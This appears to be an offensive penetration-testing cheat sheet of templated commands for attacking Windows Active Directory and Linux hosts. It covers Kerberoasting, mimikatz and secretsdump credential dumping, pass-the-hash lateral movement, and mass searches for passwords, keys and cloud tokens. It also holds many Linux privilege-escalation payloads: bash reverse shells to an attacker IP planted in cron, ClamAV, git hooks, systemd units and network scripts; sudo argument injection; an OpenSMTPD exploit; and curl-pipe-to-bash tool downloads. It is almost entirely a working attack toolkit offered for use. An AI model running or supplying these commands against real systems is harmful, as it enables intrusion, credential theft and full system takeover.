certutil -urlcache -split -f http://{{KALI_IP}}:{{PORT}}/windows/Rubeus.exe {{WPATH}}\Rubeus.exe

{{WPATH}}\Rubeus.exe kerberoast /format:hashcat /outFile:{{WPATH}}\roast.txt

{{WPATH}}\Rubeus.exe asreproast /format:hashcat /outFile:{{WPATH}}\asrep.txt

{{WPATH}}\Rubeus.exe dump /service:krbtgt /nowrap

{{WPATH}}\Rubeus.exe ptt /ticket:BASE64_TICKET

hashcat -m 13100 {{WPATH}}\roast.txt /usr/share/wordlists/rockyou.txt --force

certutil -urlcache -split -f http://{{KALI_IP}}:{{PORT}}/windows/SharpHound.exe {{WPATH}}\sh.exe

{{WPATH}}\sh.exe -c All --zipfilename {{WPATH}}\bh.zip

{{WPATH}}\sh.exe -c All,GPOLocalGroup --zipfilename {{WPATH}}\bh.zip

bloodhound-python -u {{USER}} -p {{PASS}} -d {{DOMAIN}} -ns {{TARGET}} -c All --zip

# BloodHound queries to run after import:
# "Find Shortest Paths to Domain Admins"
# "Find Principals with DCSync Rights"
# "Shortest Path from Owned Principals"
# "Users with Most Local Admin Rights"

impacket-secretsdump -system system.hive -sam sam.hive local
# Output format: Administrator:500:LM_HASH:NT_HASH:::
# Use the NT_HASH (right side after second colon)

{{WPATH}}\mimi.exe "privilege::debug" "sekurlsa::logonpasswords" exit
# Copy "NTLM" hash value from output

impacket-secretsdump {{DOMAIN}}/{{USER}}:{{PASS}}@{{TARGET}} -just-dc-user Administrator

impacket-psexec {{DOMAIN}}/{{USER}}@{{TARGET}} -hashes :NTLM_HASH

impacket-wmiexec {{DOMAIN}}/{{USER}}@{{TARGET}} -hashes :NTLM_HASH

impacket-smbexec {{DOMAIN}}/{{USER}}@{{TARGET}} -hashes :NTLM_HASH

impacket-psexec ./Administrator@{{TARGET}} -hashes :NTLM_HASH
impacket-psexec WORKGROUP/Administrator@{{TARGET}} -hashes :NTLM_HASH

evil-winrm -i {{TARGET}} -u {{USER}} -H NTLM_HASH

evil-winrm -i {{TARGET}} -u Administrator -H NTLM_HASH

upload /home/kali/privesc-toolkit/shell.exe C:\Temp\shell.exe

crackmapexec smb {{TARGET}} -u {{USER}} -H NTLM_HASH

crackmapexec smb 192.168.1.0/24 -u Administrator -H NTLM_HASH --local-auth

crackmapexec smb {{TARGET}} -u {{USER}} -H NTLM_HASH -x "whoami"

crackmapexec smb {{TARGET}} -u {{USER}} -H NTLM_HASH --sam

iwr -uri http://{{KALI_IP}}:{{PORT}}/windows/x64/mimikatz.exe -Outfile {{WPATH}}\mimi.exe

{{WPATH}}\mimi.exe "privilege::debug" "sekurlsa::pth /user:Administrator /domain:{{DOMAIN}} /ntlm:NTLM_HASH /run:cmd.exe" exit

{{WPATH}}\mimi.exe "privilege::debug" "sekurlsa::pth /user:Administrator /domain:{{DOMAIN}} /ntlm:NTLM_HASH /run:powershell.exe" exit

dir /r

dir /r "C:\Users\{{USER}}\Desktop"

Get-Item -Path "C:\Users" -Stream * -Recurse 2>$null | Where-Object {$_.Stream -ne ":$DATA"}

streams.exe -s C:\Users\{{USER}}\

more < filename.txt:hidden_stream

Get-Content -Path "filename.txt" -Stream "hidden_stream"
Get-Content -Path "C:\Users\{{USER}}\Desktop\note.txt" -Stream "secret"

type filename.txt:hidden_stream

dir /a:h /s C:\Users 2>nul
dir /a:h /s C:\ 2>nul | findstr /v "System32\|WinSxS\|SoftwareDistribution"

Get-ChildItem -Path C:\Users -Hidden -Recurse -ErrorAction SilentlyContinue | Select FullName,Length,LastWriteTime
Get-ChildItem -Path C:\ -Attributes Hidden+!System -Recurse -ErrorAction SilentlyContinue | Select FullName

dir /r C:\Users\{{USER}}\ 2>nul | findstr ":"
Get-ChildItem -Path C:\Users -Recurse -ErrorAction SilentlyContinue | ForEach-Object { Get-Item $_.FullName -Stream * 2>$null } | Where-Object { $_.Stream -ne ':$DATA' } | Select FileName,Stream,Length
# Read ADS content:
Get-Content C:\path\to\file.txt -Stream hiddenstream
more < C:\path\to\file.txt:hiddenstream

attrib /s /d C:\Users\*
attrib /s /d C:\ProgramData\*

findstr /si "password" C:\Users\*.xml C:\Users\*.ini C:\Users\*.txt C:\Users\*.config 2>nul
findstr /si "password passwd pwd secret apikey token" C:\*.xml C:\*.ini C:\*.txt C:\*.cfg C:\*.config C:\*.json 2>nul
findstr /spin "password" C:\Users\*.* 2>nul

Get-ChildItem -Path C:\Users -Recurse -Include *.xml,*.ini,*.txt,*.config,*.cfg,*.json,*.ps1,*.bat -ErrorAction SilentlyContinue |
  Select-String -Pattern "password|passwd|pwd|secret|apikey|api_key|token" -ErrorAction SilentlyContinue |
  Select-Object Path,LineNumber,Line | Format-List

Get-ChildItem C:\Users -Recurse -ErrorAction SilentlyContinue | Where-Object { $_.Extension -match "xml|ini|txt|config|cfg" } | Select-String "password" | Select Path,LineNumber,Line

type C:\Windows\Panther\Unattend.xml 2>nul
type C:\Windows\Panther\Unattended.xml 2>nul
type C:\Windows\system32\sysprep\sysprep.xml 2>nul
type C:\Windows\system32\sysprep.inf 2>nul
type C:\sysprep\sysprep.xml 2>nul

Get-ChildItem -Path C:\ -Recurse -Include unattend*.xml,autounattend.xml,sysprep*.xml,sysprep.inf -ErrorAction SilentlyContinue | Select FullName

type "C:\inetpub\wwwroot\web.config" 2>nul | findstr /i "password connectionString"
findstr /si "password connectionString" C:\inetpub\*.config 2>nul
Get-ChildItem -Path C:\inetpub -Recurse -Include *.config -ErrorAction SilentlyContinue | Select-String "password|connectionString" | Select Path,Line

type %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt 2>nul
# PowerShell:
Get-Content (Get-PSReadLineOption).HistorySavePath -ErrorAction SilentlyContinue
Get-ChildItem C:\Users -Recurse -Include ConsoleHost_history.txt -ErrorAction SilentlyContinue | Get-Content

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword 2>nul
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword 2>nul
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" 2>nul | findstr /i "pass user"

Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" | Select DefaultUsername,DefaultPassword,AltDefaultUserName,AltDefaultPassword

reg query HKLM /f password /t REG_SZ /s 2>nul | findstr /i "DefaultPassword\|Password\|Pass"
reg query HKCU /f password /t REG_SZ /s 2>nul

reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s 2>nul
# PowerShell:
Get-ChildItem "HKCU:\Software\SimonTatham\PuTTY\Sessions" -ErrorAction SilentlyContinue | ForEach-Object { Get-ItemProperty $_.PSPath } | Select *

reg query "HKCU\Software\ORL\WinVNC3\Password" 2>nul
reg query "HKCU\Software\TightVNC\Server" /v Password 2>nul
reg query "HKCU\Software\TightVNC\Server" /v PasswordViewOnly 2>nul
reg query "HKLM\SOFTWARE\RealVNC\WinVNC4" /v password 2>nul

reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s 2>nul | findstr /i "community"

where /r C:\ *.kdbx 2>nul
where /r C:\ *.pfx 2>nul
where /r C:\ *.p12 2>nul
where /r C:\ *.ppk 2>nul
where /r C:\ id_rsa 2>nul
where /r C:\ *.pem 2>nul

dir /s /b C:\*.kdbx C:\*.pfx C:\*.p12 C:\*.ppk C:\*.pem 2>nul
dir /s /b C:\id_rsa C:\*.key C:\*.cer 2>nul

Get-ChildItem -Path C:\ -Recurse -Include *.kdbx,*.pfx,*.p12,*.ppk,*.pem,*.key,*.cer,id_rsa,id_dsa,id_ecdsa -ErrorAction SilentlyContinue | Select FullName,Length,LastWriteTime

type "%APPDATA%\FileZilla\sitemanager.xml" 2>nul
type "%APPDATA%\WinSCP.ini" 2>nul
dir /s /b "%APPDATA%\FileZilla\*.xml" 2>nul
dir /s /b "%APPDATA%\WinSCP*" 2>nul
Get-Content "$env:APPDATA\FileZilla\sitemanager.xml" -ErrorAction SilentlyContinue
Get-Content "$env:APPDATA\WinSCP.ini" -ErrorAction SilentlyContinue

dir /s /b "%USERPROFILE%\.ssh\" 2>nul
type "%USERPROFILE%\.ssh\id_rsa" 2>nul
Get-ChildItem "$env:USERPROFILE\.ssh" -ErrorAction SilentlyContinue | Get-Content

dir /s /b C:\*.bak C:\*.backup C:\*.old C:\*.orig 2>nul | findstr /iv "System32\|WinSxS"
Get-ChildItem -Path C:\Users -Recurse -Include *.bak,*.backup,*.old,*.orig -ErrorAction SilentlyContinue | Select FullName

set | findstr /i "pass secret key token api"
set | findstr /i "pass"

Get-ChildItem Env: | Where-Object { $_.Name -match "pass|secret|key|token|api|pwd" -or $_.Value -match "pass|secret" }

Get-CimInstance Win32_Process | Select Name,CommandLine | Where-Object { $_.CommandLine -match "pass|secret|key|token" }
# CMD alternative using wmic:
wmic process get Name,CommandLine 2>nul | findstr /i "pass secret"

Get-ScheduledTask | ForEach-Object { $_.Actions } | Where-Object { $_.Arguments -match "pass|secret" }
# CMD:
schtasks /query /fo LIST /v 2>nul | findstr /i "pass\|Run As\|Task To Run"

net use                                # mapped drives
net view \\{{TARGET}} /all 2>nul       # list shares on host
net view 2>nul                         # all hosts in domain
Get-SmbShare -ErrorAction SilentlyContinue   # local SMB shares (PS)
Get-SmbMapping -ErrorAction SilentlyContinue # mapped drives (PS)

dir \\{{TARGET}}\SHARENAME 2>nul
Get-ChildItem \\{{TARGET}}\SHARENAME -Recurse -ErrorAction SilentlyContinue | Select FullName

id

uname -a

hostname

ps aux

ip a

ss -anp

cat /etc/iptables/rules.v4 2>/dev/null

find / -perm -u=s -type f 2>/dev/null

find / -writable -type d 2>/dev/null

find / -name '*password*' -o -name '*passwd*' -o -name '*cred*' 2>/dev/null | head -20

crontab -l 2>/dev/null
ls -lah /etc/cron*
cat /etc/crontab

grep "CRON" /var/log/syslog 2>/dev/null | tail -20

env

find / -name id_rsa -o -name id_ed25519 -o -name authorized_keys 2>/dev/null

mount; cat /etc/fstab; lsblk

find /etc/cron* /var/spool/cron -type f -writable 2>/dev/null
# Any result = instant privesc - inject reverse shell or SUID bash

ls -la /var/spool/cron/crontabs/ 2>/dev/null
# Look for: crontab files owned by root running with root privileges

grep -rhE '^\s*[^#]' /etc/cron* /var/spool/cron 2>/dev/null \
  | awk '{for(i=6;i<=NF;i++) if($i ~ /^\//) print $i}' \
  | sort -u \
  | xargs -I{} sh -c 'test -w "{}" && ls -la "{}"' 2>/dev/null
# Any result = the script called by a cron job is writable → inject payload there

grep -r 'PATH=' /etc/crontab /etc/cron.d/* 2>/dev/null
# If cron PATH includes /tmp or a user-writable dir before /usr/bin → PATH hijack possible

grep "CRON\|cron" /var/log/cron.log 2>/dev/null | tail -20
grep "CRON\|cron" /var/log/auth.log 2>/dev/null | tail -20

cat /etc/clamav/clamd.conf 2>/dev/null | grep -i "VirusEvent\|OnAccess\|AlertExceedMaxSize"
# Look for: VirusEvent /path/to/script.sh
# If that script is writable → instant root when ClamAV triggers

ls -la /path/to/virsevent/script.sh
# If writable:
cp /path/to/script.sh /path/to/script.sh.bak

echo 'bash -i >& /dev/tcp/{{KALI_IP}}/{{RPORT}} 0>&1' >> /path/to/script.sh
# TRIGGER: put an EICAR test file to force ClamAV to detect and run the hook:
echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > /tmp/eicar.txt

cp /path/to/script.sh.bak /path/to/script.sh
rm /tmp/eicar.txt

sudo -l
# Dangerous patterns:
# (root) NOPASSWD: /usr/bin/perl /opt/script.pl *
# (root) NOPASSWD: /usr/bin/python3 /opt/script.py *
# (root) NOPASSWD: /usr/bin/bash /opt/script.sh *

cat /opt/script.pl | grep -E "GetOptions|getopts|option|flag|exec|system|\`"
# Look for: --version, --debug, --config, --path, --cmd flags that run commands

# Many Perl scripts accept --version which triggers a code path with system() or exec()
sudo /usr/bin/perl /opt/script.pl --version 'id'
sudo /usr/bin/perl /opt/script.pl --user 'admin%0a/bin/bash'
sudo /usr/bin/zmupdate.pl --version='; id; echo'

# Newline injection (%0a URL-encoded or actual newline):
sudo /opt/script --option $'value\nbash -i >& /dev/tcp/{{KALI_IP}}/{{RPORT}} 0>&1'
# Semicolon injection in string parameter:
sudo /opt/script --path '/tmp/; bash -c "bash -i >& /dev/tcp/{{KALI_IP}}/{{RPORT}} 0>&1"'

# ZoneMinder zmupdate.pl allows --version argument injection
sudo /usr/bin/zmupdate.pl --version=1 --user='<USER>;bash -c "bash -i >& /dev/tcp/{{KALI_IP}}/{{RPORT}} 0>&1"'
# Alternative - inject via --pass parameter
sudo /usr/bin/zmupdate.pl --version=1 --user=root --pass=$(python3 -c "print('x;bash -c \'bash -i >& /dev/tcp/{{KALI_IP}}/{{RPORT}} 0>&1\'')")

nc -nv 127.0.0.1 25    # SMTP
nc -nv 127.0.0.1 21    # FTP
nc -nv 127.0.0.1 110   # POP3
nc -nv 127.0.0.1 143   # IMAP

ss -tlnp
netstat -tlnp 2>/dev/null
ss -tlnp | grep LISTEN

ps aux | grep -E "smtp|ftp|http|mysql|postgres|redis|mongo|zookeeper|exim|postfix"
dpkg -l | grep -E "smtp|exim|postfix|vsftpd|proftpd"   # Debian/Ubuntu
rpm -qa | grep -E "smtp|exim|postfix|vsftpd|proftpd"   # CentOS/RHEL

smtpd -d 2>&1 | head -5      # OpenSMTPD version
exim --version 2>/dev/null
postconf mail_version 2>/dev/null
vsftpd --version 2>/dev/null
mysql --version 2>/dev/null

nc -nv 127.0.0.1 25
# Banner: 220 hostname OpenSMTPD
smtpd --version 2>&1
smtpctl show stats 2>/dev/null

searchsploit opensmtpd
# Use: OpenSMTPD 6.6.1 - Remote Code Execution (EDB-47984)
searchsploit -m 47984
python3 47984.py {{TARGET}} 25 'bash -c "bash -i >& /dev/tcp/{{KALI_IP}}/{{RPORT}} 0>&1"'

# Catch shell first: nc -lvnp {{RPORT}}
# Then send:
nc -nv {{TARGET}} 25
HELO attacker
MAIL FROM: root@localhost
RCPT TO: ;bash -c 'bash -i >& /dev/tcp/{{KALI_IP}}/{{RPORT}} 0>&1' ;
DATA
.
QUIT

# Find CVEs for identified service
searchsploit SERVICE_NAME VERSION
searchsploit -w SERVICE_NAME | head -20  # With URLs
# Check exploit-db online or:
python3 -m pip install exploitdb
msfconsole -q -x "search type:exploit name:SERVICE_NAME"

find / -name ".git" -type d 2>/dev/null
find / -path "*/.git/hooks" -writable 2>/dev/null
ls -la /path/to/repo/.git/hooks/

# Check cron jobs that invoke git as root:
grep -r "\bgit\b" /etc/cron* /var/spool/cron/ 2>/dev/null
# Check systemd services/timers that invoke git:
grep -r "\bgit\b" /etc/systemd/system/ /lib/systemd/system/ 2>/dev/null | grep "Exec"
# Check root-owned scripts that call git:
find / -user root -name "*.sh" -o -user root -name "*.py" 2>/dev/null \
  | xargs grep -l "\bgit\b" 2>/dev/null
# Confirms exploit only if: git triggered by root process AND you can write to .git/hooks/

cat > /path/to/repo/.git/hooks/post-commit << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/{{KALI_IP}}/{{RPORT}} 0>&1
EOF
chmod +x /path/to/repo/.git/hooks/post-commit

cat > /path/to/repo/.git/hooks/post-commit << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash
EOF
chmod +x /path/to/repo/.git/hooks/post-commit
# After cron triggers:
/tmp/rootbash -p; id

cd /path/to/repo
touch /tmp/trigger
git add /tmp/trigger
git commit -m "trigger"   # This fires post-commit hook

find / -name "*.py" -o -name "*.sh" -o -name "*.conf" 2>/dev/null | xargs grep -l "gitea\|git.*token\|git.*password" 2>/dev/null
grep -r "Authorization\|token\|password\|api_key" /home/ 2>/dev/null | grep -i git

cat /etc/gitea/app.ini 2>/dev/null
cat /home/git/gitea/custom/conf/app.ini 2>/dev/null
cat /opt/gitea/conf/app.ini 2>/dev/null

# Enumerate repos as admin
curl -s http://{{TARGET}}:3000/api/v1/repos/search?token=ADMIN_TOKEN | python3 -m json.tool

# Add post-receive hook to repo (executes when repo receives push)
curl -X POST http://{{TARGET}}:3000/api/v1/repos/OWNER/REPO/hooks \
  -H "Authorization: token ADMIN_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"type":"gitea","active":true,"events":["push"],"config":{"content_type":"json","url":"http://{{KALI_IP}}:{{RPORT}}"}}'

# Login as admin to http://TARGET:3000
# Settings → Repositories → [repo] → Settings → Git Hooks
# Edit "post-receive" hook:
bash -i >& /dev/tcp/{{KALI_IP}}/{{RPORT}} 0>&1
# Then: push a commit to trigger it

sudo git -p help config
# When pager opens: !/bin/bash

sudo git -c core.pager='bash -c "bash -i >& /dev/tcp/{{KALI_IP}}/{{RPORT}} 0>&1"' help -a

sudo git diff --help
# When less opens: !/bin/bash

sudo dstat --list 2>&1 | grep "plugin"

for d in /usr/share/dstat /usr/local/share/dstat ~/.dstat /usr/lib/dstat; do
  [ -w "$d" ] && echo "[+] WRITABLE: $d" || echo "[-] not writable: $d"
done
# Alternative - let dstat report its own plugin paths then check each:
sudo dstat --list 2>/dev/null | grep "^/" | while read dir; do
  [ -w "$dir" ] && echo "[+] WRITABLE: $dir"
done
# Confirms: any WRITABLE path → drop dstat_pwn.py there and run sudo dstat --pwn

# Create plugin in local writable dir:
mkdir -p /usr/local/share/dstat
echo 'import os; os.execl("/bin/sh","sh","-p")' > /usr/local/share/dstat/dstat_pwn.py
sudo dstat --pwn

# Also try /home/user/.dstat/ or /usr/share/dstat/ if writable:
echo 'import os; os.execl("/bin/sh","sh","-p")' > /usr/share/dstat/dstat_pwn.py
sudo dstat --pwn

echo 'chmod +s /bin/bash' > /tmp/hook.sh && chmod +x /tmp/hook.sh
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/hook.sh -Z root
bash -p; whoami

echo 'chmod +s /bin/bash' > /tmp/preinst
chmod +x /tmp/preinst
TF=$(mktemp -d)
echo "Package: x
Version: 1.0
Architecture: all
Maintainer: x
Description: x
Section: x
Priority: optional" > $TF/DEBIAN/control
echo "#!/bin/bash
chmod +s /bin/bash" > $TF/DEBIAN/preinst
chmod +x $TF/DEBIAN/preinst
dpkg-deb --build $TF /tmp/evil.deb
sudo dpkg -i /tmp/evil.deb
bash -p

# Simpler: sudo apt-get changelog apt (opens pager → !/bin/bash)

stty rows 10 cols 50
sudo journalctl
# When pager opens (less): type !/bin/bash

sudo journalctl -n 100
# When less opens: !/bin/bash

TF=$(mktemp).service
echo '[Unit]
Description=Evil
[Service]
Type=oneshot
ExecStart=/bin/bash -c "chmod +s /bin/bash"
[Install]
WantedBy=multi-user.target' > $TF
sudo systemctl link $TF
sudo systemctl enable --now $(basename $TF)
bash -p; whoami

TF=$(mktemp).service
printf '[Unit]\nDescription=Evil\n[Service]\nType=oneshot\nExecStart=/bin/bash -i >& /dev/tcp/{{KALI_IP}}/{{RPORT}} 0>&1\n[Install]\nWantedBy=multi-user.target\n' > $TF
sudo systemctl link $TF
sudo systemctl enable --now $(basename $TF)

# sudo nano: Ctrl+R, Ctrl+X, then: reset; bash 1>&0 2>&0
# sudo vi/vim: :!/bin/bash  or  :set shell=/bin/bash  then  :shell
# sudo less / man: !/bin/bash
# sudo more: when pager opens: !/bin/bash

sudo mysql -e '\! /bin/bash'
sudo mysql -u root -e '\! /bin/bash'
sudo mysql -u root --execute='\! /bin/bash'

# MariaDB:
sudo mariadb -e '\! /bin/bash'

sudo gem open -e "/bin/sh -c /bin/sh" rdoc

sudo gem open GEMNAME -e "/bin/bash -c /bin/bash"

sudo rsync -e 'sh -p -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null

sudo rsync -e 'sh -c "chmod +s /bin/bash"' 127.0.0.1:/dev/null; bash -p

sudo crontab -e
# Add line: * * * * * /bin/bash -p
# This runs a SUID bash every minute - wait 60s then:
bash -p; id

# Or reverse shell every minute:
# * * * * * /bin/bash -i >& /dev/tcp/{{KALI_IP}}/{{RPORT}} 0>&1

sudo apt-get changelog apt
# When pager (less) opens: !/bin/bash

echo 'chmod +s /bin/bash' > /tmp/pwn.sh; chmod +x /tmp/pwn.sh
sudo apt-get install -o APT::Update::Pre-Invoke::=/tmp/pwn.sh figlet
bash -p; id

find / -perm -u=s -name "dosbox" 2>/dev/null
sudo -l | grep dosbox

dosbox -c 'mount c /' -c 'c:\\windows\\system32\\cmd.exe /c "chmod +s /bin/bash"' -c exit
bash -p
id

# Generate password hash on Kali (use -6 for SHA-512 on modern systems, -1 for MD5 fallback):
openssl passwd -6 Password123
# Then inject via dosbox (replace HASH with openssl output):
dosbox -c 'mount c /' -c 'echo "root2:HASH:0:0:root:/root:/bin/bash" >> c:/etc/passwd' -c exit
su root2  # password: Password123
id

dosbox -c 'mount c /' -c 'c:\\windows\\system32\\cmd.exe /c "mkdir c:\\root\\.ssh"' -c exit
dosbox -c 'mount c /' -c 'c:\\windows\\system32\\cmd.exe /c "echo SSH_PUB_KEY >> c:\\root\\.ssh\\authorized_keys"' -c exit
ssh -i /tmp/key root@localhost

chmod -s /bin/bash 2>/dev/null
sed -i '/root2/d' /etc/passwd 2>/dev/null

# Check for writable ifcfg scripts:
ls -la /etc/sysconfig/network-scripts/
cat /etc/sysconfig/network-scripts/ifcfg-eth0

# Check which ifcfg files are writable:
find /etc/sysconfig/network-scripts/ -name "ifcfg-*" -writable 2>/dev/null \
  && echo "[+] Writable ifcfg file found"
# Confirm you can trigger the interface restart:
sudo -l 2>/dev/null | grep -E "ifup|ifdown|network" && echo "[+] sudo ifup/ifdown available"
sudo -l 2>/dev/null | grep -E "systemctl|service" && echo "[+] Can restart network service"
# Confirms exploit: writable ifcfg + ability to trigger ifup/ifdown as root

# Inject payload into NAME field (spaces become separate commands):
echo 'NAME=eth0 bash -i >& /dev/tcp/{{KALI_IP}}/{{RPORT}} 0>&1' > /etc/sysconfig/network-scripts/ifcfg-eth0
sudo /sbin/ifdown eth0 && sudo /sbin/ifup eth0

find /tmp /var/tmp -name "tmux-*" 2>/dev/null
ls -la /tmp/tmux-*/default 2>/dev/null

find /tmp /var/tmp -name "tmux-*" -type s 2>/dev/null | while read sock; do
  ls -la "$sock" 2>/dev/null
  [ -r "$sock" ] && [ -w "$sock" ] && echo "[+] ACCESSIBLE: $sock = exploitable" \
    || echo "[-] Permission denied: $sock"
done
# Alternative - directly try to list sessions (errors = no access):
find /tmp /var/tmp -name "tmux-*" -type s 2>/dev/null | while read sock; do
  tmux -S "$sock" list-sessions 2>/dev/null && echo "[+] CONFIRMED accessible: $sock"
done

# If socket is accessible:
tmux -S /tmp/tmux-0/default attach

# Or list sessions:
tmux -S /path/to/socket list-sessions
tmux -S /path/to/socket attach-session -t SESSION_NAME

find / -path /proc -prune -o -name "*.service" -writable -print 2>/dev/null

# Check if sudo systemctl is available without password:
sudo -l 2>/dev/null | grep -E "systemctl|service" && echo "[+] sudo systemctl available"
# Check if the service is set to auto-restart (exploit fires on next restart automatically):
systemctl show TARGET.service 2>/dev/null | grep "Restart="
# Confirms exploit: writable .service file + sudo systemctl restart = exploitable

# Edit ExecStart in writable service file:
nano /lib/systemd/system/TARGET.service
# Change ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/{{KALI_IP}}/{{RPORT}} 0>&1'
sudo systemctl daemon-reload
sudo systemctl restart TARGET

chisel server -p 8081 --reverse

wget http://{{KALI_IP}}:{{PORT}}/linux/chisel_linux -O /tmp/chisel && chmod +x /tmp/chisel

/tmp/chisel client {{KALI_IP}}:8081 R:socks

proxychains nmap -sT -Pn -p 22,80,443,3306,3389 INTERNAL_IP
proxychains curl http://INTERNAL_IP/
proxychains evil-winrm -i INTERNAL_IP -u {{USER}} -p {{PASS}}

curl -sL http://{{KALI_IP}}:{{PORT}}/linux/linpeas.sh | bash 2>&1 | tee /tmp/lp.txt

wget http://{{KALI_IP}}:{{PORT}}/linux/linpeas.sh -O /tmp/lp.sh && chmod +x /tmp/lp.sh && /tmp/lp.sh -a

wget http://{{KALI_IP}}:{{PORT}}/linux/pspy64 -O /tmp/pspy && chmod +x /tmp/pspy

/tmp/pspy -pf -i 1000
# Watch for: cron jobs running as root, unusual process spawns, file access patterns

find / -name ".*" -type f -not -path "*/proc/*" -not -path "*/sys/*" -not -path "*/dev/*" -not -path "*/run/*" 2>/dev/null
find / -name ".*" -type f -not -path "*/proc/*" -not -path "*/sys/*" -not -path "*/run/*" 2>/dev/null | grep -v "\.cache\|\.config/google\|\.local/share/mime"

find /home /root -name ".*" -type f 2>/dev/null
find /home /root -name ".*" 2>/dev/null | xargs ls -la 2>/dev/null

find / -name ".*" -type d -not -path "*/proc/*" -not -path "*/sys/*" 2>/dev/null | grep -v "snap\|flatpak\|\.cache"
ls -la /home/*/ 2>/dev/null   # hidden files in each home dir at a glance

find / -newer /tmp -type f -not -path "*/proc/*" -not -path "*/sys/*" 2>/dev/null | head -30
find / -mmin -10 -type f -not -path "*/proc/*" 2>/dev/null | head -20

grep -rn "password\|passwd\|secret\|api_key\|token" /etc/ 2>/dev/null | grep -v "^Binary\|#\|pam\|policy"
grep -rn "password\|passwd" /var/www/ 2>/dev/null | grep -v "^Binary"

find / -name "*.conf" -exec grep -l "password\|passwd" {} \; 2>/dev/null
find / -name "*.cfg" -exec grep -l "password\|passwd" {} \; 2>/dev/null
find / -name "*.ini" -exec grep -l "password\|passwd" {} \; 2>/dev/null
find / -name "*.env" -o -name ".env" 2>/dev/null | xargs cat 2>/dev/null

find / -name "wp-config.php" 2>/dev/null -exec cat {} \; 2>/dev/null
find / -name "config.php" 2>/dev/null | xargs grep -l "pass\|db_" 2>/dev/null | xargs cat
find / -name "settings.py" 2>/dev/null | xargs grep -l "PASSWORD\|SECRET" 2>/dev/null | xargs cat
find / -name "database.yml" -o -name "database.php" -o -name "db.php" 2>/dev/null | xargs cat 2>/dev/null
find / -name ".env" 2>/dev/null -exec cat {} \;

find / -name "application.yml" -o -name "application.properties" 2>/dev/null | xargs grep -i "password\|secret" 2>/dev/null
find / -name "*.json" -not -path "*/node_modules/*" 2>/dev/null | xargs grep -l "password\|secret\|token" 2>/dev/null | head -10 | xargs cat

cat ~/.bash_history 2>/dev/null
cat ~/.zsh_history 2>/dev/null
cat ~/.sh_history 2>/dev/null
cat ~/.history 2>/dev/null
cat ~/.mysql_history 2>/dev/null
cat ~/.psql_history 2>/dev/null

find / -name ".*history" -not -path "*/proc/*" 2>/dev/null | xargs cat 2>/dev/null
find / -name ".*_history" -not -path "*/proc/*" 2>/dev/null | xargs cat 2>/dev/null

cat ~/.bash_history ~/.zsh_history 2>/dev/null | grep -iE "pass|secret|token|mysql|psql|ssh|curl.*-u|wget.*--user"

ps aux | grep -iE "pass|secret|key|token|api" | grep -v grep
ps aux | grep -v "grep\|\[" | grep -iE "\-p |\-\-pass|\-\-password|secret"

strings /proc/*/cmdline 2>/dev/null | grep -iE "pass|secret|token|key" | sort -u
cat /proc/*/cmdline 2>/dev/null | tr '\0' ' ' | grep -iE "pass|secret|token" | sort -u

strings /proc/*/environ 2>/dev/null | grep -iE "pass|secret|key|token|api" | sort -u
cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -iE "pass|secret|key|token|api" | sort -u

env | grep -iE "pass|secret|key|token|api"
printenv | grep -iE "pass|secret|key|token|api"

find / -name "id_rsa" -o -name "id_dsa" -o -name "id_ecdsa" -o -name "id_ed25519" 2>/dev/null
find / -name "*.pem" -o -name "*.ppk" 2>/dev/null | grep -v "proc\|sys\|openssl"
find / -name "authorized_keys" 2>/dev/null

cat /path/to/id_rsa 2>/dev/null | grep "BEGIN.*PRIVATE KEY"
# If BEGIN RSA PRIVATE KEY with no ENCRYPTED header → key has no passphrase
# Use it: ssh -i /path/to/id_rsa user@TARGET

find / -name ".ssh" -type d 2>/dev/null | xargs ls -la 2>/dev/null
ls -la /root/.ssh/ 2>/dev/null
ls -la /home/*/.ssh/ 2>/dev/null

cat ~/.my.cnf 2>/dev/null
find / -name ".my.cnf" -not -path "*/proc/*" 2>/dev/null | xargs cat 2>/dev/null
find / -name "my.cnf" 2>/dev/null | xargs grep -i "password\|user" 2>/dev/null
cat ~/.mysql_history 2>/dev/null

cat ~/.pgpass 2>/dev/null
find / -name ".pgpass" 2>/dev/null | xargs cat 2>/dev/null
cat ~/.psql_history 2>/dev/null

find / -name "*.sqlite" -o -name "*.sqlite3" -o -name "*.db" 2>/dev/null | grep -v "proc\|snap\|cache" | head -15
# Dump tables from a found database:
sqlite3 /path/to/db.sqlite ".tables"
sqlite3 /path/to/db.sqlite "SELECT * FROM users LIMIT 20;"

cat ~/.aws/credentials 2>/dev/null
cat ~/.aws/config 2>/dev/null
cat ~/.config/gcloud/application_default_credentials.json 2>/dev/null
cat ~/.docker/config.json 2>/dev/null | grep -i "auth\|token"
cat ~/.npmrc 2>/dev/null | grep -i "token\|auth"
cat ~/.gem/credentials 2>/dev/null
cat ~/.gitconfig 2>/dev/null
find / -name ".netrc" 2>/dev/null | xargs cat 2>/dev/null
find / -name "*.token" -o -name "*_token" -not -path "*/proc/*" 2>/dev/null | xargs cat 2>/dev/null

find / -name ".git" -type d 2>/dev/null | head -10
find / -name ".git" -type d 2>/dev/null | xargs -I{} cat {}/config 2>/dev/null | grep -i "url\|token\|pass"

ls /var/mail/ 2>/dev/null
cat /var/mail/$USER 2>/dev/null
ls /var/spool/mail/ 2>/dev/null
cat /var/spool/mail/$USER 2>/dev/null
find / -name "*.mbox" 2>/dev/null | xargs ls -la 2>/dev/null

grep -ri "password\|passwd\|Authorization\|Bearer" /var/log/ 2>/dev/null | grep -v "^Binary" | head -30
